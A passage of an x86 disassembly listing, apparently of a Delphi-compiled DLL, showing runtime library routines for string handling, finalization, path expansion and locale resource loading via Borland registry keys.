sub_1000397C	endp


; =============== S U B	R O U T	I N E =======================================



sub_10003988	proc near		; CODE XREF: sub_10005600+20p
					; sub_100064F0+E4p ...

arg_0		= dword	ptr  4

		push	ebx
		test	eax, eax
		jz	short loc_100039BA
		mov	ebx, [eax-4]
		test	ebx, ebx
		jz	short loc_100039BA
		dec	edx
		jl	short loc_100039B2
		cmp	edx, ebx
		jge	short loc_100039BA

loc_1000399B:				; CODE XREF: sub_10003988+2Cj
		sub	ebx, edx
		test	ecx, ecx
		jl	short loc_100039BA
		cmp	ecx, ebx
		jg	short loc_100039B6

loc_100039A5:				; CODE XREF: sub_10003988+30j
		add	edx, eax
		mov	eax, [esp+4+arg_0]
		call	sub_10003710
		jmp	short loc_100039C3
; ---------------------------------------------------------------------------

loc_100039B2:				; CODE XREF: sub_10003988+Dj
		xor	edx, edx
		jmp	short loc_1000399B
; ---------------------------------------------------------------------------

loc_100039B6:				; CODE XREF: sub_10003988+1Bj
		mov	ecx, ebx
		jmp	short loc_100039A5
; ---------------------------------------------------------------------------

loc_100039BA:				; CODE XREF: sub_10003988+3j
					; sub_10003988+Aj ...
		mov	eax, [esp+4+arg_0]
		call	sub_10003620

loc_100039C3:				; CODE XREF: sub_10003988+28j
		pop	ebx
		retn	4
sub_10003988	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_100039C8	proc near		; CODE XREF: CODE:100037BDp
					; CODE:100037DCp ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_10003A1D
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_100039FE
		cmp	dword ptr [eax-8], 1
		jnz	short loc_100039FE
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_10002538
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_10003A26
; ---------------------------------------------------------------------------

loc_100039FE:				; CODE XREF: sub_100039C8+11j
					; sub_100039C8+17j
		mov	eax, edx
		call	sub_100036E4
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_10003A1D
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_10003A18
		mov	ecx, esi

loc_10003A18:				; CODE XREF: sub_100039C8+4Cj
		call	sub_1000263C

loc_10003A1D:				; CODE XREF: sub_100039C8+Bj
					; sub_100039C8+43j
		mov	eax, ebx
		call	sub_10003620
		mov	[ebx], edi

loc_10003A26:				; CODE XREF: sub_100039C8+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100039C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003A2C	proc near		; CODE XREF: sub_10003AB4+67p
					; sub_10007C50+158p
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_10003A40
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		call	sub_10001130
		pop	eax

locret_10003A40:			; CODE XREF: sub_10003A2C+4j
		retn
sub_10003A2C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003A44	proc near		; CODE XREF: sub_10003AB4+70p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx

loc_10003A4A:				; CODE XREF: sub_10003A44+1Cj
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_10003A5C
		mov	dword ptr [ebx], 0
		push	eax
		call	sub_10001130

loc_10003A5C:				; CODE XREF: sub_10003A44+Aj
		add	ebx, 4
		dec	esi
		jnz	short loc_10003A4A
		pop	esi
		pop	ebx
		retn
sub_10003A44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003A68	proc near		; CODE XREF: sub_10002CF0+12p
					; sub_10003AB4+AFp
		xor	ecx, ecx
		push	ebx
		mov	cl, [edx+1]
		push	esi
		push	edi
		mov	ebx, eax
		lea	esi, [ecx+edx+0Ah]
		mov	edi, [ecx+edx+6]

loc_10003A7A:				; CODE XREF: sub_10003A68+29j
		mov	edx, [esi]
		mov	eax, [esi+4]
		add	eax, ebx
		mov	edx, [edx]
		mov	ecx, 1
		call	sub_10003AB4
		add	esi, 8
		dec	edi
		jg	short loc_10003A7A
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10003A68	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003A9C	proc near		; CODE XREF: sub_10003AB4+7Cp
		cmp	ds:dword_1000900C, 0
		jz	short loc_10003AAC
		call	ds:dword_1000900C
		retn
; ---------------------------------------------------------------------------

loc_10003AAC:				; CODE XREF: sub_10003A9C+7j
		mov	al, 10h
		call	sub_100025E0
sub_10003A9C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_10003AB4	proc near		; CODE XREF: sub_10003A68+20p
					; sub_10003AB4+99p ...
		cmp	ecx, 0
		jz	locret_10003B9D
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	al, [esi]
		mov	dl, [esi+1]
		cmp	al, 0Ah
		jz	short loc_10003AF7
		cmp	al, 0Bh
		jz	short loc_10003B14
		cmp	al, 0Ch
		jz	short loc_10003B2B
		cmp	al, 0Dh
		jz	short loc_10003B3A
		cmp	al, 0Eh
		jz	short loc_10003B58
		cmp	al, 0Fh
		jz	loc_10003B6E
		cmp	al, 11h
		jz	loc_10003B7D
		jmp	loc_10003B8E
; ---------------------------------------------------------------------------

loc_10003AF7:				; CODE XREF: sub_10003AB4+1Cj
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_10003B08
		call	sub_10003620
		jmp	loc_10003B99
; ---------------------------------------------------------------------------

loc_10003B08:				; CODE XREF: sub_10003AB4+48j
		mov	edx, ecx
		call	sub_10003644
		jmp	loc_10003B99
; ---------------------------------------------------------------------------

loc_10003B14:				; CODE XREF: sub_10003AB4+20j
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_10003B22
		call	sub_10003A2C
		jmp	short loc_10003B99
; ---------------------------------------------------------------------------

loc_10003B22:				; CODE XREF: sub_10003AB4+65j
		mov	edx, ecx
		call	sub_10003A44
		jmp	short loc_10003B99
; ---------------------------------------------------------------------------

loc_10003B2B:				; CODE XREF: sub_10003AB4+24j
					; sub_10003AB4+82j
		mov	eax, ebx
		add	ebx, 10h
		call	sub_10003A9C
		dec	edi
		jg	short loc_10003B2B
		jmp	short loc_10003B99
; ---------------------------------------------------------------------------

loc_10003B3A:				; CODE XREF: sub_10003AB4+28j
		push	ebp
		mov	ebp, edx

loc_10003B3D:				; CODE XREF: sub_10003AB4+9Fj
		mov	edx, [esi+ebp+0Ah]
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	ecx, [esi+ebp+6]
		mov	edx, [edx]
		call	sub_10003AB4
		dec	edi
		jg	short loc_10003B3D
		pop	ebp
		jmp	short loc_10003B99
; ---------------------------------------------------------------------------

loc_10003B58:				; CODE XREF: sub_10003AB4+2Cj
		push	ebp
		mov	ebp, edx

loc_10003B5B:				; CODE XREF: sub_10003AB4+B5j
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	edx, esi
		call	sub_10003A68
		dec	edi
		jg	short loc_10003B5B
		pop	ebp
		jmp	short loc_10003B99
; ---------------------------------------------------------------------------

loc_10003B6E:				; CODE XREF: sub_10003AB4+30j
					; sub_10003AB4+C5j
		mov	eax, ebx
		add	ebx, 4
		call	sub_10004190
		dec	edi
		jg	short loc_10003B6E
		jmp	short loc_10003B99
; ---------------------------------------------------------------------------

loc_10003B7D:				; CODE XREF: sub_10003AB4+38j
					; sub_10003AB4+D6j
		mov	eax, ebx
		mov	edx, esi
		add	ebx, 4
		call	sub_10003BCC
		dec	edi
		jg	short loc_10003B7D
		jmp	short loc_10003B99
; ---------------------------------------------------------------------------

loc_10003B8E:				; CODE XREF: sub_10003AB4+3Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		mov	al, 2
		jmp	sub_100025E0
; ---------------------------------------------------------------------------

loc_10003B99:				; CODE XREF: sub_10003AB4+4Fj
					; sub_10003AB4+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	eax

locret_10003B9D:			; CODE XREF: sub_10003AB4+3j
		retn
sub_10003AB4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_10003BA0	proc near		; DATA XREF: sub_100042EC+40o
					; BSS:off_1000A000o
		mov	al, 11h
		jmp	sub_100025E0
sub_10003BA0	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_10003BA8	proc near		; CODE XREF: sub_10005638+43p
					; sub_10005638+5Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edx
		push	eax
		mov	eax, [esp+8+arg_4]
		mul	[esp+8+var_8]
		mov	ecx, eax
		mov	eax, [esp+8+var_4]
		mul	[esp+8+arg_0]
		add	ecx, eax
		mov	eax, [esp+8+var_8]
		mul	[esp+8+arg_0]
		add	edx, ecx
		pop	ecx
		pop	ecx
		retn	8
sub_10003BA8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_10003BCC	proc near		; CODE XREF: sub_10003AB4+D0p
					; sub_10007C50+85p ...
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short locret_10003C05
		mov	dword ptr [eax], 0
		lock dec dword ptr [ecx-8]
		jnz	short locret_10003C05
		push	eax
		mov	eax, ecx
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	edx, [ecx+edx+6]
		test	edx, edx
		jz	short loc_10003BFC
		mov	ecx, [eax-4]
		test	ecx, ecx
		jz	short loc_10003BFC
		mov	edx, [edx]
		call	sub_10003AB4

loc_10003BFC:				; CODE XREF: sub_10003BCC+20j
					; sub_10003BCC+27j
		sub	eax, 8
		call	sub_10002518
		pop	eax

locret_10003C05:			; CODE XREF: sub_10003BCC+4j
					; sub_10003BCC+10j
		retn
sub_10003BCC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003C08	proc near		; CODE XREF: sub_10003C50+1Bp

var_110		= byte ptr -110h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF8h
		mov	ebx, eax
		cmp	dword ptr [ebx+10h], 0
		jnz	short loc_10003C43
		push	105h
		lea	eax, [esp+114h+var_110]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_100010C8	; GetModuleFileNameA
		mov	eax, esp
		mov	dl, 1
		call	sub_10003E44
		mov	esi, eax
		mov	[ebx+10h], esi
		test	esi, esi
		jnz	short loc_10003C43
		mov	eax, [ebx+4]
		mov	[ebx+10h], eax

loc_10003C43:				; CODE XREF: sub_10003C08+Ej
					; sub_10003C08+33j
		mov	eax, [ebx+10h]
		add	esp, 108h
		pop	esi
		pop	ebx
		retn
sub_10003C08	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10003C50	proc near		; CODE XREF: sub_100041C0+2Bp
					; CODE:10006810p ...
		mov	edx, ds:dword_10009024
		test	edx, edx
		jz	short locret_10003C77

loc_10003C5A:				; CODE XREF: sub_10003C50+25j
		cmp	eax, [edx+4]
		jz	short loc_10003C69
		cmp	eax, [edx+8]
		jz	short loc_10003C69
		cmp	eax, [edx+0Ch]
		jnz	short loc_10003C71

loc_10003C69:				; CODE XREF: sub_10003C50+Dj
					; sub_10003C50+12j
		mov	eax, edx
		call	sub_10003C08
		retn
; ---------------------------------------------------------------------------

loc_10003C71:				; CODE XREF: sub_10003C50+17j
		mov	edx, [edx]
		test	edx, edx
		jnz	short loc_10003C5A

locret_10003C77:			; CODE XREF: sub_10003C50+8j
		retn
sub_10003C50	endp


; =============== S U B	R O U T	I N E =======================================



sub_10003C78	proc near		; CODE XREF: sub_10003C8C+83p
					; sub_10003C8C+96p ...
		jmp	short loc_10003C80
; ---------------------------------------------------------------------------

loc_10003C7A:				; CODE XREF: sub_10003C78+11j
		push	eax
		call	sub_10001088	; CharNextA

loc_10003C80:				; CODE XREF: sub_10003C78j
		mov	dl, [eax]
		test	dl, dl
		jz	short locret_10003C8B
		cmp	dl, 5Ch
		jnz	short loc_10003C7A

locret_10003C8B:			; CODE XREF: sub_10003C78+Cj
		retn
sub_10003C78	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003C8C	proc near		; CODE XREF: sub_10003E44+A3p

var_24F		= byte ptr -24Fh
var_14A		= byte ptr -14Ah
var_11E		= byte ptr -11Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDB0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		push	offset dword_10003E20
		call	sub_100010D0	; GetModuleHandleA
		mov	esi, eax
		test	esi, esi
		jz	short loc_10003CF4
		push	offset aGetlongpathnam ; "GetLongPathNameA"
		push	esi
		call	sub_100010D8	; GetProcAddress
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_10003CF4
		push	105h
		lea	eax, [ebp+var_24F]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jz	short loc_10003CF4
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_24F]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_10001100	; lstrcpyn
		jmp	loc_10003E16
; ---------------------------------------------------------------------------

loc_10003CF4:				; CODE XREF: sub_10003C8C+26j
					; sub_10003C8C+37j ...
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_10003D34
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+1], 5Ch
		jnz	loc_10003E16
		mov	eax, [ebp+var_4]
		add	eax, 2
		call	sub_10003C78
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jz	loc_10003E16
		lea	eax, [esi+1]
		call	sub_10003C78
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jz	loc_10003E16
		jmp	short loc_10003D3A
; ---------------------------------------------------------------------------

loc_10003D34:				; CODE XREF: sub_10003C8C+6Ej
		mov	esi, [ebp+var_4]
		add	esi, 2

loc_10003D3A:				; CODE XREF: sub_10003C8C+A6j
		mov	ebx, esi
		sub	ebx, [ebp+var_4]
		lea	eax, [ebx+1]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24F]
		push	eax
		call	sub_10001100	; lstrcpyn
		jmp	loc_10003DF9
; ---------------------------------------------------------------------------

loc_10003D58:				; CODE XREF: sub_10003C8C+170j
		lea	eax, [esi+1]
		call	sub_10003C78
		mov	edi, eax
		mov	eax, edi
		sub	eax, esi
		mov	edx, eax
		add	edx, ebx
		inc	edx
		cmp	edx, 105h
		jg	loc_10003E16
		inc	eax
		push	eax
		push	esi
		lea	eax, [ebp+var_24F]
		add	eax, ebx
		push	eax
		call	sub_10001100	; lstrcpyn
		lea	eax, [ebp+var_14A]
		push	eax
		lea	eax, [ebp+var_24F]
		push	eax
		call	sub_100010A8	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_10003E16
		push	esi
		call	sub_100010A0	; FindClose
		lea	eax, [ebp+var_11E]
		push	eax
		call	sub_10001108	; lstrlen
		lea	edx, [ebx+1]
		add	eax, edx
		inc	eax
		cmp	eax, 105h
		jg	short loc_10003E16
		mov	[ebp+ebx+var_24F], 5Ch
		mov	eax, 105h
		sub	eax, ebx
		dec	eax
		push	eax
		lea	eax, [ebp+var_11E]
		push	eax
		lea	eax, [ebp+var_24F]
		add	eax, ebx
		inc	eax
		push	eax
		call	sub_10001100	; lstrcpyn
		lea	eax, [ebp+var_11E]
		push	eax
		call	sub_10001108	; lstrlen
		inc	eax
		add	ebx, eax
		mov	esi, edi

loc_10003DF9:				; CODE XREF: sub_10003C8C+C7j
		cmp	byte ptr [esi],	0
		jnz	loc_10003D58
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_24F]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_10001100	; lstrcpyn

loc_10003E16:				; CODE XREF: sub_10003C8C+63j
					; sub_10003C8C+77j ...
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_10003C8C	endp

; ---------------------------------------------------------------------------
dword_10003E20	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ;	DATA XREF: sub_10003C8C+18o
aGetlongpathnam	db 'GetLongPathNameA',0 ; DATA XREF: sub_10003C8C+28o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003E44	proc near		; CODE XREF: sub_10003C08+27p

var_11D		= byte ptr -11Dh
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_B		= byte ptr -0Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE0h
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		push	105h
		lea	eax, [ebp+var_11D]
		push	eax
		push	0
		call	sub_100010C8	; GetModuleFileNameA
		mov	[ebp+var_12], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorl_0 ; "Software\\Borland\\Locales"
		push	80000001h
		call	sub_10001118	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_10003EC7
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorl_0 ; "Software\\Borland\\Locales"
		push	80000002h
		call	sub_10001118	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_10003EC7
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorl_1 ; "Software\\Borland\\Delphi\\Locales"
		push	80000001h
		call	sub_10001118	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_10003F50

loc_10003EC7:				; CODE XREF: sub_10003E44+41j
					; sub_10003E44+5Fj
		xor	eax, eax
		push	ebp
		push	offset loc_10003F49
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_18], 5
		lea	eax, [ebp+var_11D]
		mov	edx, 105h
		call	sub_10003C8C
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_10001120	; RegQueryValueExA
		test	eax, eax
		jz	short loc_10003F2E
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	0
		push	0
		push	offset dword_100040B0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_10001120	; RegQueryValueExA
		test	eax, eax
		jz	short loc_10003F2E
		mov	[ebp+var_12], 0

loc_10003F2E:				; CODE XREF: sub_10003E44+C6j
					; sub_10003E44+E4j
		mov	[ebp+var_E], 0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10003F50

loc_10003F3F:				; CODE XREF: sub_10003E44+10Aj
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_10001110	; RegCloseKey
		retn
; ---------------------------------------------------------------------------

loc_10003F49:				; DATA XREF: sub_10003E44+86o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10003F3F
; ---------------------------------------------------------------------------

loc_10003F50:				; CODE XREF: sub_10003E44+7Dj
					; DATA XREF: sub_10003E44+F6o
		push	105h
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_10001100	; lstrcpyn
		push	5
		lea	eax, [ebp+var_D]
		push	eax
		push	3
		call	sub_100010E8	; GetThreadLocale
		push	eax
		call	sub_100010C0	; GetLocaleInfoA
		xor	esi, esi
		cmp	[ebp+var_11D], 0
		jz	loc_1000406A
		cmp	[ebp+var_D], 0
		jnz	short loc_10003F97
		cmp	[ebp+var_12], 0
		jz	loc_1000406A

loc_10003F97:				; CODE XREF: sub_10003E44+147j
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_10001108	; lstrlen
		mov	ebx, eax
		lea	eax, [ebp+var_11D]
		add	ebx, eax
		jmp	short loc_10003FB0
; ---------------------------------------------------------------------------

loc_10003FAF:				; CODE XREF: sub_10003E44+179j
		dec	ebx

loc_10003FB0:				; CODE XREF: sub_10003E44+169j
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_10003FBF
		lea	eax, [ebp+var_11D]
		cmp	ebx, eax
		jnz	short loc_10003FAF

loc_10003FBF:				; CODE XREF: sub_10003E44+16Fj
		lea	eax, [ebp+var_11D]
		cmp	ebx, eax
		jz	loc_1000406A
		inc	ebx
		cmp	[ebp+var_12], 0
		jz	short loc_10003FFC
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	ebx
		call	sub_10001100	; lstrcpyn
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_100010F0	; LoadLibraryExA
		mov	esi, eax

loc_10003FFC:				; CODE XREF: sub_10003E44+18Ej
		test	esi, esi
		jnz	short loc_1000406A
		cmp	[ebp+var_D], 0
		jz	short loc_1000406A
		lea	eax, [ebp+var_11D]
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_D]
		push	eax
		push	ebx
		call	sub_10001100	; lstrcpyn
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_100010F0	; LoadLibraryExA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_1000406A
		mov	[ebp+var_B], 0
		lea	eax, [ebp+var_11D]
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_D]
		push	eax
		push	ebx
		call	sub_10001100	; lstrcpyn
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_100010F0	; LoadLibraryExA
		mov	esi, eax

loc_1000406A:				; CODE XREF: sub_10003E44+13Dj
					; sub_10003E44+14Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_10003E44	endp

; ---------------------------------------------------------------------------
		align 4
aSoftwareBorl_0	db 'Software\Borland\Locales',0 ; DATA XREF: sub_10003E44+30o
					; sub_10003E44+4Eo
		align 10h
aSoftwareBorl_1	db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_10003E44+6Co
dword_100040B0	dd 0			; DATA XREF: sub_10003E44+D4o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100040B4	proc near		; CODE XREF: sub_10004120+1Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_10009028
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_10004107

loc_100040CE:				; CODE XREF: sub_100040B4+51j
		xor	eax, eax
		push	ebp
		push	offset loc_100040EF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_100040F9
; ---------------------------------------------------------------------------

loc_100040EF:				; DATA XREF: sub_100040B4+1Do
		jmp	sub_10002F1C
; ---------------------------------------------------------------------------
		call	sub_100030FC

loc_100040F9:				; CODE XREF: sub_100040B4+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_100040CE

loc_10004107:				; CODE XREF: sub_100040B4+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_100040B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10004110	proc near		; CODE XREF: sub_100044A0+5p
		mov	edx, ds:dword_10009024
		mov	[eax], edx
		mov	ds:dword_10009024, eax
		retn
sub_10004110	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004120	proc near		; CODE XREF: sub_10003530+70p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset loc_10004184
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_100040B4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000418B

loc_1000414D:				; CODE XREF: sub_10004120+69j
		mov	eax, [ebp+var_4]
		cmp	eax, ds:dword_10009024
		jnz	short loc_10004164
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_10009024, eax
		jmp	short loc_10004183
; ---------------------------------------------------------------------------

loc_10004164:				; CODE XREF: sub_10004120+36j
		mov	eax, ds:dword_10009024
		test	eax, eax
		jz	short loc_10004183

loc_1000416D:				; CODE XREF: sub_10004120+61j
		mov	edx, [eax]
		cmp	edx, [ebp+var_4]
		jnz	short loc_1000417D
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	[eax], edx
		jmp	short loc_10004183
; ---------------------------------------------------------------------------

loc_1000417D:				; CODE XREF: sub_10004120+52j
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_1000416D

loc_10004183:				; CODE XREF: sub_10004120+42j
					; sub_10004120+4Bj ...
		retn
; ---------------------------------------------------------------------------

loc_10004184:				; DATA XREF: sub_10004120+Ao
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_1000414D
; ---------------------------------------------------------------------------

loc_1000418B:				; CODE XREF: sub_10004120:loc_10004183j
					; DATA XREF: sub_10004120+28o
		pop	ecx
		pop	ebp
		retn
sub_10004120	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10004190	proc near		; CODE XREF: sub_10003AB4+BFp
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_100041A4
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		mov	eax, [edx]
		call	dword ptr [eax+8]
		pop	eax

locret_100041A4:			; CODE XREF: sub_10004190+4j
		retn
sub_10004190	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100041A8	proc near		; CODE XREF: sub_1000820C+265p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_100041B6
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_100041B6:				; CODE XREF: sub_100041A8+8j
		call	ds:off_10009030
		pop	ebp
		retn
sub_100041A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100041C0	proc near		; CODE XREF: sub_100033CC+16p
					; sub_1000622C+2Ep ...

var_408		= byte ptr -408h

		push	ebx
		push	esi
		add	esp, 0FFFFFC00h
		mov	esi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_1000420D
		cmp	dword ptr [ebx+4], 10000h
		jge	short loc_10004203
		push	400h
		lea	eax, [esp+40Ch+var_408]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		mov	eax, [ebx]
		mov	eax, [eax]
		call	sub_10003C50
		push	eax
		call	sub_100010F8	; LoadStringA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, esi
		call	sub_10003710
		jmp	short loc_1000420D
; ---------------------------------------------------------------------------

loc_10004203:				; CODE XREF: sub_100041C0+17j
		mov	eax, esi
		mov	edx, [ebx+4]
		call	sub_100037FC

loc_1000420D:				; CODE XREF: sub_100041C0+Ej
					; sub_100041C0+41j
		add	esp, 400h
		pop	esi
		pop	ebx
		retn
sub_100041C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004218	proc near		; CODE XREF: sub_100042EC+BEp
					; sub_100042EC+CFp

var_10		= dword	ptr -10h
var_B		= byte ptr -0Bh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		xor	edx, edx
		push	ebp
		push	offset loc_1000427E
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	7
		lea	edx, [ebp+var_B]
		push	edx
		push	1004h
		push	eax
		call	sub_100010C0	; GetLocaleInfoA
		lea	eax, [ebp+var_10]
		lea	edx, [ebp+var_B]
		mov	ecx, 7
		call	sub_10003868
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_4]
		call	sub_10002754
		mov	ebx, eax
		cmp	[ebp+var_4], 0
		jz	short loc_10004268
		xor	ebx, ebx

